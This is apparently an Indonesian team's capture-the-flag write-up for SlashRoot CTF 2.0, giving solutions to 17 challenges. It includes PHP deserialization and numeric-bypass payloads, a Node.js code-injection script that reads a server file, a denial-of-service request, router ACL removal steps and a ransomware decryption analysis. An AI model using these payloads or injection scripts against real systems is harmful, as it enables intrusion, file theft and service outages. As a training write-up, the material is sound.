SlashRoot CTF 2.0
Writeup – Capture The Flag
1 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Daftar Isi Daftar Isi
2
Pendahuluan
4
Soal Dan Penjelasan
4
1.Breakfast
4
Summary Questions
4
Proof of Concept
5
2.RuZIP
7
Summary Questions
7
Proof of Concept
7
3.Overwriting Game
8
Summary Questions
8
Proof of Concept
8
4.Ezip
9
Summary Questions
9
Proof of Concept
9
5.VLAN
10
Summary Questions
10
Proof of Concept
10
6.ACL
16
Summary Questions
16
Proof of Concept
16
7.Code - BR3AKER
20
Summary Questions
20
Proof of Concept
20
8.Rev4Fun
21
Summary Questions
21
Proof of Concept
21
9.God’s Number
22
Summary Questions
22
Proof of Concept
22
10.RSA
23
Summary Questions
23
Proof of Concept
23
11.Zodiak
25
Summary Questions
25
2 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Proof of Concept
25
12.RSAlagi
26
Summary Questions
26
Proof of Concept
27
13.WannaFlag
27
Summary Questions
27
Proof of Concept
28
14.Galatic
34
Summary Questions
34
Proof of Concept
35
15.GDB
36
Summary Questions
36
Proof of Concept
36
16.Warmup
38
Summary Questions
38
Proof of Concept
38
17.Bonus
39
18.Bug Report
39
Pentutup
40
3 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Pendahuluan SlashRoot CTF adalah event tahunan dan satu - satunya yang diadakan dari Bali yang terbuka untuk mahasiswa/pelajar umum diseluruh Indonesia. Mensponsori event kami akan sangat membantu kami berjuang dalam mengedepankan kesadaran akan keamanan informasi dan hacking yang beretika ( ethical hacking ) melalui permainan hacking yang kompetitif ( CTF ) di Indonesia. Mensponsori event ini, tentunya anda berkesempatan untuk menunjukkan taring dan jati diri dari produk dan layanan perusahaan anda kepada lebih dari 100 orang yang tergabung dalam suatu tim diseluruh Indonesia!
Soal Dan Penjelasan 1.Breakfast Summary Questions File Object
http://103.200.7.150:9080/
Level
Breakfast - 75 Pts
Clue
-
Tools
Base64
Found Object
-
Flag
SlashRootCTF{serialization_in_a_nutshell}
Categories
Web Hacking
4 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Proof of Concept
Parameter $_GET[‘code’] menerima input berupa php serialize yang di encode menggunakan base64, kita di berikan beberapa contoh inputnya membuat object Exercise. Kita mempunya kontrol terhadap attribute $file yang bisa kita rubah menjadi apa saja, kita mencoba process.php untuk melihat isi source codenya. ?code=Tzo4OiJFeGVyY2lzZSI6MTp7czo0OiJmaWxlIjtzOjExOiJwcm9jZXNzLnBocCI7fQ==
Kita mendapatkan source code dari process.php myFile, true); } }
5 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
class Exercise{ public $file = "hello_world.php"; public function __toString(){ return highlight_file($this->file, true); } }
$code = base64_decode($_GET['code']); if(strpos($code, "Exercise") && strpos($code, "flag.php")){ echo "No no no!"; }else{ echo unserialize($code); } ?>
Dari source code tersebut kita ketahui untuk membaca file flag.php kita tidak bisa menggunakan class Exercise karena ada validasi yang membatasi itu, jadi kita bisa menggunakan class Flag yang fungsinya sama dengan Exercise. Serializenya seperti berikut : O:4:"Flag":1:{s:6:"myFile";s:8:"flag.php";} Tzo0OiJGbGFnIjoxOntzOjQ6ImZpbGUiO3M6ODoiZmxhZy5waHAiO30=
6 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
2.RuZIP Summary Questions File Object
RuZIP
Level
RuZIP - 75 Pts
Clue
Corrupt
Tools
Hexedit
Found Object
flagnya.txt
Flag
SlashRootCTF{Z1Pny4_94k_12U54k}
Categories
Forensics
Proof of Concept Perbaiki nama file yang rusak dan juga sesuaikan lenght dari nama filenya yang sebelumnya B0 menjadi 0B = 11 , sehingga file zip dapat di extract datanya , referensi : https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html
7 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
3.Overwriting Game Summary Questions File Object Level
Overwriting Game - 50 Pts
Clue Tools
Idapro, gdb-peda, python
Found Object Flag
SlashRootCTF{overwrite_meh_like_a_b0$$}
Categories
Pwning
Proof of Concept python -c 'print hex(0x0804a034) + chr(0x0a) + str(1337) + chr(0x0a) + hex(0x0804a038) + chr(0x0a) + str(1337) + chr(0x0a)' | nc 103.200.7.150 6666 Script diatas berfungsi untuk Overwrite pin1 dan pin2 dengan value yang sama.
8 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
4.Ezip Summary Questions File Object Level
EZip - 50 Pts
Clue Tools
zlib,gzip,python
Found Object
.EZip
Flag
SlashRootCTF{4123_y0u_12ea11y_123411y_R34LLY_n33d_c0 mp12355_p123ss_pr3ss_p12E55}
Categories
Cryptography
Proof of Concept Memanfaatkan huruf pertama yang di ketahui di XoR dengan ord(‘E’) import gzip with gzip.open('flag.txt.EZip', 'rb') as f: s = f.read()
import zlib last = s[0] ^ ord('E') z = [last] for x, y in enumerate(s[1:]): last = y ^ last z += [last] print(zlib.decompress(bytes(z)))
9 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
5.VLAN Summary Questions File Object
.pka
Level
VLAN - 150 Pts
Clue
Gunakan Packet Tracer V.7
Tools
Paket tracer v.7
Found Object
banner motd
Flag
SlashRootCTF{D4sar_4dM1n_t3Led0R}
Categories
Networking
Proof of Concept Pada soal ini diberikan sebuah case lewat Cisco Packet Tracer, yang dimana sudah terdapat sebuah topologi jaringan seperti berikut :
Kemudian kita juga diberikan list dari IP nya dari masing-masing device yang ada disitu dan juga settingan nya (username, password, vlan, dll)
10 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Dan dari device-device yang ada disitu, yg bisa kita gunakan hanya Laptop Guest – Attacker. Kita coba analis topologi tersebut, dan juga list network dan Vlan yang diberikan. Pertama-tama kita coba mencari tau alamat IP dari Server Web dan FTP, kita coba rentan nya dari 180.10.1.1 - 180.10.1.6 karena netmask nya /29. Lalu kita dapatkan IP Server Web dan FTP adalah 180.10.1.4. Kemudian kita tracert dari Laptop Attacker ke 180.10.1.4 untuk mengetahui Hop yg dilalui dari Laptop Attacker Packet Tracer PC Command Line 1.0 C:\>tracert 180.10.1.4
Tracing route to 180.10.1.4 over a maximum of 30 hops:
1 764 ms 80 ms 761 ms 172.168.5.1 2 31 ms 143 ms 25 ms 10.10.2.2 3 22 ms 32 ms 28 ms 180.10.1.4
Trace complete. Ternyata disitu melewati IP 10.10.2.2 , yang kalau dilihat dari tabel itu adalah IP antara Router Backup_1 dan Backup_2. 11 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Kemudian kita coba console lewat ssh ke IP 10.10.2.2 dengan username&passwrd dari Router Backup_1 dan Backup_2 C:\>ssh -l adm1n2 10.10.2.2 Open Password: RTR-BACKUP_2>
Dan yang berhasil adalah username&password Router Backup_2, maka bisa disimpulkan bahwa IP 10.10.2.2 adalah IP Router Backup_2, Lalu kita cek semua konfigurasi yang ada di Router Backup_2. RTR-BACKUP_2>en Password: RTR-BACKUP_2#conf t Enter configuration commands, one per line. End with CNTL/Z. RTR-BACKUP_2(config)#do sh run Building configuration...
Current configuration : 1408 bytes ! version 12.4 no service timestamps log datetime msec no service timestamps debug datetime msec no service password-encryption ! hostname RTR-BACKUP_2 ! ! ! enable secret 5 $1$mERr$xUVMf3A5DbTHRJz700GTO1 ! !
12 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
! ! ! aaa new-model ! aaa authentication login default group radius local
… … …
Extended IP access list ROUTER-BACKUP_2-1 10 deny icmp any 180.10.1.0 0.0.0.7 unreachable 20 permit ip any any (3122 match(es))
Ternyata kita dapatkan sebuah Rules ACL (Access List) dari Router Backup_2, kemudian hapus Rules tersebut : RTR-BACKUP_2(config)# no ip access-list extended ROUTER-BACKUP_2-1
*selagi bisa diapus :D
Langkah selanjutnya kita coba ssh lagi dari Router Backup_2 ke Router Core, karena pasangan IP 10.10.2.2 adalah IP 10.10.2.1 yaitu IP milik dari Router Core. RTR-BACKUP_2#ssh -l adm1ncore 10.10.2.1 Open Password: RTR-CORE>
13 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Dan ternyata berhasil…. Kemudian kita coba cek semua konfigurasi yang ada pada Router Core RTR-CORE(config)#do sh run Building configuration...
Current configuration : 3206 bytes ! version 12.4 no service timestamps log datetime msec no service timestamps debug datetime msec no service password-encryption ! hostname RTR-CORE ! ! ! enable secret 5 $1$mERr$xUVMf3A5DbTHRJz700GTO1 ! ! ! ! ! aaa new-model ! aaa authentication login SSH-LOGIN local
... ... ...
14 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Extended IP access list ROUTER-CORE 10 deny tcp 172.168.1.0 0.0.0.255 host 172.168.1.1 eq 22 20 deny tcp 172.168.2.0 0.0.0.255 host 172.168.2.1 eq 22 30 deny tcp 172.168.3.0 0.0.0.255 host 172.168.3.1 eq 22 40 deny tcp 172.168.4.0 0.0.0.255 host 172.168.4.1 eq 22 50 deny tcp 172.168.5.0 0.0.0.255 host 172.168.5.1 eq 22 60 permit ip any any (4098 match(es))
banner motd ^C ============================================================== ======= ___ ___ _ _ _____ ___ ___
___ ___ ___ ___
| _ \/ _ \| | | |_ _| __| _ \ / __/ _ \| _ \ __| | / (_) | |_| | | | | _|| / | (_| (_) | / _| |_|_\\___/_\___/__|_|_|___|_|_\_ \___\___/|_|_\___| / __|/ _ \ / _ \| \ _ | |/ _ \| _ ) | (_ | (_) | (_) | |) | | || | (_) | _ \ \___|\___/ \___/|___/ \__/ \___/|___/
FLAG is SlashRootCTF{D4sar_4dM1n_t3Led0R} ============================================================== =======
Dan ternyataa ada sebuah flag di dalam banner motd pada Router Core, kemudian kita submit : SlashRootCTF{D4sar_4dM1n_t3Led0R}
15 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
6.ACL Summary Questions File Object Level
ACL - 300 Pts
Clue
Paket Tracer
Tools
Packet Tracer v.7
Found Object
SlashRootCTF.txt
Flag
SlashRootCTF{jump4_la91_d1_f1n4l}
Categories
Networking
Proof of Concept Lanjutan dari yang Vlan diatas, setelah kita tau ada Rules ACL lagi pada Router Core Extended IP access list ROUTER-CORE 10 deny tcp 172.168.1.0 0.0.0.255 host 172.168.1.1 eq 22 20 deny tcp 172.168.2.0 0.0.0.255 host 172.168.2.1 eq 22 30 deny tcp 172.168.3.0 0.0.0.255 host 172.168.3.1 eq 22 40 deny tcp 172.168.4.0 0.0.0.255 host 172.168.4.1 eq 22 50 deny tcp 172.168.5.0 0.0.0.255 host 172.168.5.1 eq 22 60 permit ip any any (4098 match(es))
Seperti biasa, kita hapus rules tersebut.. RTR-CORE(config)#no ip access-list extended ROUTER-CORE Kemudian kita coba console router yang terakhir, yaitu Router Backup_1 Kita coba console nya lewat IP 180.10.1.1 , karena IP itulah yang berhubungan
16 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
dengan Router Backup_2. RTR-BACKUP_2>ssh -l adm1n1 180.10.1.1 Dan ternyata berhasil, lalu kita coba lihat seluruh konfigurasi yang ada pada Router Backup_1. RTR-BACKUP_1(config)#do sh run Building configuration...
Current configuration : 1469 bytes ! version 12.4 no service timestamps log datetime msec no service timestamps debug datetime msec no service password-encryption ! hostname RTR-BACKUP_1 ! ! ! enable secret 5 $1$mERr$xUVMf3A5DbTHRJz700GTO1 ! ! ! ! ! aaa new-model ! aaa authentication login default group tacacs+ local
….. …. Standard IP access list ROUTER-BACKUP_1-1
17 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
10 permit host 192.168.100.4 Extended IP access list ROUTER-BACKUP_1-2 10 deny tcp any host 180.10.2.2 eq ftp Dan terdapat Rules ACL lagi pada Router Backup_1, namun ada yg sedikit mencurigakan pada rules nya. Disitu terdapat rules untuk tidak membolehkan koneksi ke ftp dengan IP 180.10.2.2 Kita menduga itu adalah FTP Server dari Server Backup. Kemudian kita hapus Rules ACL nya. RTR-BACKUP_1(config)#no ip access-list extended ROUTER-BACKUP_1-2 RTR-BACKUP_1(config)#no ip access-list standard ROUTER-BACKUP_1-1 Setelah semua rules ACL pada Router sudah kita hapus, kemudian kita coba koneksi ke ftp server dengan IP 180.10.2.2 yang kita curigai pada rules ACL Router Backup_1. C:\>ftp 180.10.2.2 Trying to connect...180.10.2.2 Connected to 180.10.2.2 220- Welcome to PT Ftp server Username:adm1nftp 331- Username ok, need password Password: 230- Logged in (passive mode On) ftp>
Dan ternyata berhasillllll, lalu kita coba cari tau isi dari direktori ftp server tersebut FTP Server 2 - 180.10.2.2 Listing /ftp directory from 180.10.2.2: 0 : SlashRootCTF.txt
137
1 : asa842-k8.bin
5571584
2 : asa923-k8.bin
30468096
18 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
3 : c1841-advipservicesk9-mz.124-15.T1.bin
33591768
4 : c1841-ipbase-mz.123-14.T7.bin
13832032
5 : c1841-ipbasek9-mz.124-12.bin
16599160
6 : c2600-advipservicesk9-mz.124-15.T1.bin 7 : c2600-i-mz.122-28.bin
33591768
5571584
8 : c2600-ipbasek9-mz.124-8.bin
13169700
9 : c2800nm-advipservicesk9-mz.124-15.T1.bin
50938004
10 : c2800nm-advipservicesk9-mz.151-4.M4.bin
33591768
11 : c2800nm-ipbase-mz.123-14.T7.bin
5571584
12 : c2800nm-ipbasek9-mz.124-8.bin
15522644
13 : c2950-i6q4l2-mz.121-22.EA4.bin
3058048
14 : c2950-i6q4l2-mz.121-22.EA8.bin
3117390
15 : c2960-lanbase-mz.122-25.FX.bin
4414921
16 : c2960-lanbase-mz.122-25.SEE1.bin
4670455
17 : c2960-lanbasek9-mz.150-2.SE4.bin
4670455
18 : c3560-advipservicesk9-mz.122-37.SE1.bin 19 : pt1000-i-mz.122-28.bin
8662192
5571584
20 : pt3000-i6q4l2-mz.121-22.EA4.bin
3117390
Terdapat sebuah file SlashRootCTF.txt yang kita duga isinya pasti sesuatuuuu Kemudian kita get file tersebut. udah nonton filmnya ya bang yang "Cek Toko Sebelah" ?? ane kasi flag dah kalo udah nonton..
FLAG is => SlashRootCTF{jump4_la91_d1_f1n4l} Dann, kita dapatkan flag nya SlashRootCTF{jump4_la91_d1_f1n4l}
19 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
7.Code - BR3AKER Summary Questions File Object Level
Code - BR3AKER - 10 Pts
Clue
Pass .rar? Pass .rar nya apa kak? Hmmm, gimana ya, coba aku masuk ke pintu yang tadi lagi deh, hey pintu...!
Tools
Text Editor (Sublime, geany, dln)
Found Object Flag
SlashRootCTF{LM2O}
Categories
Joy/Game
Proof of Concept Pertama dapetin password rar dari game yang ada di folder “key” passwordnya adalah : terbukalah, terus Dimainkan aja sampai akhir, dapatkan kode keluar dari data/*.json “strings *|grep “ini kan pintu keluar”.
20 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
8.Rev4Fun Summary Questions File Object
ELF
Level
Rev4Fun - 75 Pts
Clue
-
Tools
ida
Found Object Flag
SlashRootCTF{rev_is_0k}
Categories
Reversing
Proof of Concept
Menyesuaikan input dengan constraint tersebut menghasilkan ‘rev_is_0k’
21 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
9.God’s Number Summary Questions File Object
robots.txt, backup.json
Level
God’s Number - 100Pts
Clue Tools
php
Found Object
data/*.json
Flag
SlashRootCTF{4phun_bypass!}
Categories
Website
Proof of Concept Kita mendapatkan backup source code yang tertera di robots.txt http://103.200.7.150:8087/robots.txt kemudian kami menganalisa proses.php yang memiliki beberapa constraint yang harus di lewati sebelum program menampilkan flagnya.
22 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Pertama : $password harus di set. Kedua : $password harus number ( di php kita bisa menggunakan 1e2 exponent sebagai number). Ketiga : $password tidak menggandung “.” Keempat : panjang $passw harus > 4 ( kita gunakan minus floating exponent untuk bypass ). Kelima : $passw harus di antara 5001 – 9999. get flag : http://103.200.7.150:8087/proses.php?password=911111E-2 menggunakan 911111E-2 => 9111.11 => strlen = 7
10.RSA Summary Questions File Object Level
RSA - 100 Pts
Clue
Convert Ke ASCII
Tools
python
Found Object Flag
SlashRootCTF{1N1_312354h4h4}
Categories
Crypto
Proof of Concept Diberikan N,e,c , pertama kita cari faktorisasi dari N untuk mendapatkan p dan q menggunakan : https://factordb.com/index.php?query=1799159815596838211639026598242739 kemudian kita hitung phinya menggunakan rumus phi = (p-1)*(q-1) nanti di gunakan untuk mencari d atau private exponent untuk digunakan mendekrip Ciphertext. 23 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
import gmpy2 N = 1799159815596838211639026598242739 p = 19900922910223213 q = 90405848196748703 c = 318686567182196523307366910641013 e = 200917020563208190152062461460131 t = (p-1)*(q-1)
def egcd(a, b): x,y, u,v = 0,1, 1,0 while a != 0: q, r = b//a, b%a m, n = x-u*q, y-v*q b,a, x,y, u,v = a,r, u,v, m,n gcd = b return gcd, x, y
# returns d such that e * d == 1 modulo t, or 0 if no such y exists. d = gmpy2.invert(e,t)
# Decryption m = pow(c,d,N) print "Solved ! m = %d" % m
Didapatkan m = “49 78 49 95 51 49 50 51 53 52 104 52 104 52” yang di convert ke ASCII Menghasilkan flagnya “1N1_312354h4h4”.
24 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
11.Zodiak Summary Questions File Object
http://103.200.7.150:9087/
Level
Zodiak - 250 pts
Clue
-
Tools
python
Found Object
app.js, ../../../home/node/.flag
Flag
SlashRootCTF{horoscope_is_bullsheep}
Categories
Website
Proof of Concept Analisis awal adalah kita memanfaatkan bug template injection untuk mendapatkan command injection ataupun reverse shell tapi setelah beberapa saat ternyata parameter month dan day vulnerable terhadap code injection terbukti pada saat di inputkan dengan “process” ataupun dengan variable yang belum di definisikan maka akan muncul error. Kemudian kami menggunakan python untuk membaca hasil return dari website yang vulnerable terhadap code injection dan melakukan translasi dari decimal ke ascii. import requests import json
file = "../../../home/node/.flag" fungsi = "readFileSync" url = "http://103.200.7.150:9087/ramal/?day=root.process.mainModule.require(%27fs%2 7)."+fungsi+"(%27"+file+"%27)&month=1&year=process&name=a" # url =
25 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
"http://103.200.7.150:9087/ramal/?day=Buffer(1e5)&month=1&year=process&name =a"
result = requests.get(url) print result.text result = json.loads(result.text) res = "" p = [] # try: for x in result['day']['data']: res += chr(x) # except: #
print result['day']
#
exit(1)
print res
12.RSAlagi Summary Questions File Object
pub.key, flag.enc
Level
rsalagi - 200 Pts
Clue Tools
python,rsactftool (https://github.com/Ganapati/RsaCtfTool)
Found Object Flag
SlashRootCTF{rsa_RSA_1254_Rivest-Shamir-Adleman}
Categories
Crypto
26 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Proof of Concept Pertama convert encrypted flag yang dalam base64 kedalam hex . import base64 file = open("flag.enc","r").read() a = int(base64.b64decode(file)) b = hex(a)[2:][:-1] file = open("flag.enc.hex") file.write(b.decode('hex')) file.close()
Kemudian menggunakan rsactftool untuk melakukan decrypt rsactf --publickey pub.key --uncipher flag.enc.hex
13.WannaFlag Summary Questions File Object
memory.mem, This File.png.WannaFlag
Level
WannaFlag - 200 Pts
Clue
-
Tools
python, ILSpy, Volatility
Found Object
WannaFlag.exe
Flag
SlashRootCTF{}
Categories
Forensics
27 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Proof of Concept Kita melakukan analisa terhadap memori pada soal yang katanya terkena ransomware yang mengecrypt seluruh data pada drive D nya, kami menemukan binarynya dengan tools volitality versi GUI.
Pertama kami analisa dengan mencari tahu proses apa yang sedang berjalan yang terekam oleh memory tersebut dengan menggunakan “pslist”. Kemudian ada program yang kami curigai sebagai virus bernama wannaflag.exe yang sedang berjalan pada proses PID 600.
Kedua kami mencoba mengambil file wannaflag.exe tersebut menggunakan perintah “Procdum” .
28 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
File “executable.600.exe.bin” adalah file wannaflag.exe yang telah kita ambil. Keempat kita cek lagi dengan perintah “netscan” untuk melihat trafik pada computer yang terhubung dengan beberapa IP. Disini jelas file wannaflag.exe mempunyai hubungan dengan IP 103.200.7.150:31337
IP tersebut merupakan server key virus wannaflag .
29 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Setelah ditelusuri IP tersebut kita diharuskan memilki token untuk melihat file-file apa saja yang terenkripsi, dan token tersebut digunakan untuk melakukan proses dekripsi
kemudian
kita
melakukan
reverse
file
executable
wannaflag.exe
menggunakan ILSpy karena binarnya dibuat menggunakan .NET
Kemudian merapihkan kodingan nama fungsinya tidak jelas agar memudahkan kita dalam membaca source code https://pastebin.com/7EkhN760 , kami menemukan adanya API yang digunakan oleh ransomware untuk menyimpan hasil dari enkripsi tersebut
yaitu
sebenarnya
di
adalah
http://facebook.com:31337/api/ransom/store host
103.200.7.156
yang
sebelumnya
facebook.com mereka
sudah
memodifikasi file “drivers\\etc\\hosts” dari korban , kesalahan ransomware tersebut adalah mengirimkan detail file yang terencrypt ke : “http://facebook.com:31337/api/ransom/store” yang dikirim adalah : -
token
-
filename
-
key (yang digunakan sebagai password enkripsi dalam sha256)
-
md5Asli
-
md5Enc
Setelah itu kita membutuhkan IV dan KEY nya untuk melakukan decrypt dengan menjalankan potongan fungsi pada ransomware tersebut untuk mendapatkan IV dan 30 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
KEY yang telah di salted. using System; using System.Collections.Specialized; using System.ComponentModel; using System.Drawing; using System.IO; using System.Net; using System.Security.Cryptography; using System.Text;
public class Test { public static void Main() { byte[] sha256Password = Encoding.UTF8.GetBytes("k6u9a1b6"); sha256Password = SHA256.Create().ComputeHash(sha256Password);
byte[] result = null; byte[] salt = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 }; using (MemoryStream memoryStream = new MemoryStream()) {
31 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) { rijndaelManaged.KeySize = 256; rijndaelManaged.BlockSize = 128; Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(sha256Password, salt, 1337); rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8); rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8); Console.WriteLine("KEY: {0}", Convert.ToBase64String(rijndaelManaged.Key)); Console.WriteLine("IV: {0}", Convert.ToBase64String(rijndaelManaged.IV)); // Console.Write(); // Console.Write(rijndaelManaged.IV); rijndaelManaged.Mode = CipherMode.CBC; using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write)) { // cryptoStream.Write(bToE, 0, bToE.Length); cryptoStream.Close(); } result = memoryStream.ToArray(); } } // return result;
}
32 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
} Setelah mendapatkan semua yang kita perlu untuk melakukan decrypt kita gunakan python untuk mendecrypt. import base64, os, hashlib from Crypto.Cipher import AES
# SHA256.Create().ComputeHash("k6u9a1b6"); # Mode = CipherMode.CBC;
file ="flag.png.wannaflag" passSha256 = hashlib.sha256() passSha256.update("k6u9a1b6") passSha256.digest() enc = open(file).read() KeySize = 256; BlockSize = 128; key=base64.b64decode("14AMKb2KaTw4bwgfjVhXofq4ATxzif0v9mw/bazXjn4=") iv=base64.b64decode("EAlwSdMyJTTZvqw/JoJ99Q==")
handler = AES.new(key, AES.MODE_CBC, iv) # filesize = os.path.getsize(file) with open(file, 'rb') as infile: with open(".".join(file.split(".")[:2]), 'wb') as outfile: outfile.write(handler.decrypt(infile.read()))
# SlashRootCTF{Y0u_FinD-The-Right_w4y_4nd_y0u_g0t_th1s}
dan didapatkan flag berada dalam gambar.png.
33 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
14.Galatic Summary Questions File Object Level
Galactic - 100 Pts
Clue Tools
idapro
Found Object Flag
SlashRootCTF{revmemybruh!}
Categories
Reverse
34 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Proof of Concept plus = [3, 5, 6, 9, 10, 11, 55, 66, 34, 11, 12, 11] enc = [84, 62, 75, 60, 66, 60, 27, 12, 61, 80, 59, 6] val = [87, 91, 93, 95, 108, 111, 114, 126, 127, 219, 223, 241]
def ency(): res = [0, 0, 0, 0 ,0, 0, 0, 0, 0, 0 ,0, 0] for x in range(12): res[x] = val[x] & (enc[x] + plus[x]) return res
res = ency() hasil = [87, 67, 81, 69, 76, 71, 82, 78, 95, 91, 71, 17] tmp=[]
for z,y in enumerate(hasil): for x in range(255): # print x,y,z if z+37^x == y: tmp.append(x) break
tmp = [chr(x) for x in tmp] print "SlashRootCTF{"+"".join(tmp) + "}"
# buf = [] # print res # exit(1) # for x in range(12): #
if res[x] != (x+37 ^ buf[x]):
#
print "salah"
#
exit(1)
35 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
# print "flag: "
15.GDB Summary Questions File Object Level
GDB - 150 Pts
Clue Tools
GDB, nc, pwntools
Found Object Flag
SlashRootCTF{gdb_is_okay}
Categories
Reverse
Proof of Concept Pertama kita download binarynya menggunakan cat ke dalam file elf kemudian reverse menggunakan idapro ternyata decimal dari tiap variable flag di kurangi dengan 17. Untuk download binary kita menggunakan pwntools dan python
36 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
from pwn import *
serv = remote("103.200.7.150", 9977) data = serv.recv() print data data = serv.recv() print data serv.send('cat ./rev_me\n') elfn = "" for x in range(4): data = serv.recv() elfn += data # print data serv.close() out = open("rev", "wb") out.write(elfn) print "OK" out.close() serv.close() Untuk mendecrypt flag juga menggunakan python flag = [120, 117, 115, 112, 122, 132, 112, 128, 124, 114, 138] flag = [chr(x-17) for x in flag] print "SlashRootCTF{" + "".join(flag) + "}"
37 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
16.Warmup Summary Questions File Object Level
Warmup - 1 Pts
Clue Tools
Header modifier, postman, browser
Found Object
http://103.200.7.150:9086/
Flag
SlashRootCTF{warmup_session}
Categories
warmup
Proof of Concept
Dilihat dari cluenya, kita akan mengecek header IP tersebut. Dan ternyata terdapat sebuah string yang mirip dengan Flag : SlashRootCTF{7761726d75705f21d6f40cfb511982e4424e0e250a9557}
Kemudian kita pisahkan string HEX dengan MD5 :
38 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Melalui website berikut : http://www.rapidtables.com/convert/number/hex-to-ascii.htm Dan kita coba decrypt hash md5 nya dengan website berikut : https://hashkiller.co.uk/md5-decrypter.aspx
Lalu kita gabungkan semuanya menjadi Flag : SlashRootCTF{warmup_session}
17.Bonus Karena tadi server sempat down, bonus flag untuk semuanya ! 10pts. Flag: SlashRootCTF{free_flag_for_all_of_you_guys}
18.Bug Report Kami menemukan sebuah bug pada soal Zodiak dengan IP http://103.200.7.150:9087/ yang dapat membuat service down sehingga peserta lain tidak bisa mengerjakan soal dengan menggunakan fungsi Buffer(1e9). POC : 103.200.7.150:9087/ramal/?day=Buffer(1e9)&month=1&year=process
39 PPP (Partai Persatuan Pwning)
SlashRoot CTF 2.0
Writeup – Capture The Flag
Kita telah melaporkan bug tersebut kepada panitia, tetapi saat kita laporkan bug tersebut panitia serigalasalju sudah bobo karena waktu reportnya pada malam hari, dan setelah direspon oleh panitia lainnya, kita diminta untuk report bugnya besok pagi tapi sayangnya pada saat pagi hari kita mau report bugnya perlombaan sudah usai
Pentutup Puji Tuhan YME, Kompetisi SlashRoot CTF 2.0 telah berakhir, Tim Kami PPP (Partai Persatuan Pwning) berhasil menyelesaikan 17 Soal yang dibuat oleh panitia. Uraian diatas adalah Writeup yang kami buat, semoga dapat bermanfaat bagi masyarakat umum yang sedang menekuni bidang CTF ini.
Salam.
40 PPP (Partai Persatuan Pwning)